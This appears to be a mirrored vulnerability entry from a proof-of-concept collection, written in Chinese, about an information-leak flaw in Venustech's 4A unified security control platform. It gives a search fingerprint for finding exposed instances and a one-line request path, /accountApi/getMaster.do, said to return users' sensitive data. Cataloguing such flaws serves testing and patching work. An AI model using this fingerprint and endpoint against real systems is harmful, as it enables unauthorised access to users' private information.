mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-08 12:25:11 +00:00
27 lines
578 B
Markdown
27 lines
578 B
Markdown
# 启明星辰 4A统一安全管控平台 getMaster.do 信息泄漏漏洞
|
|
|
|
## 漏洞描述
|
|
|
|
启明星辰 4A统一安全管控平台 getMaster.do 接口存在信息泄漏漏洞，通过发送特定请求包可以获取用户敏感信息
|
|
|
|
## 漏洞影响
|
|
|
|
启明星辰 4A统一安全管控平台
|
|
|
|
## 网络测绘
|
|
|
|
web.body="cas/css/ace-part2.min.css"
|
|
|
|
## 漏洞复现
|
|
|
|
登陆页面
|
|
|
|
|
|
|
|
验证POC
|
|
|
|
```
|
|
/accountApi/getMaster.do
|
|
```
|
|
|
|
 |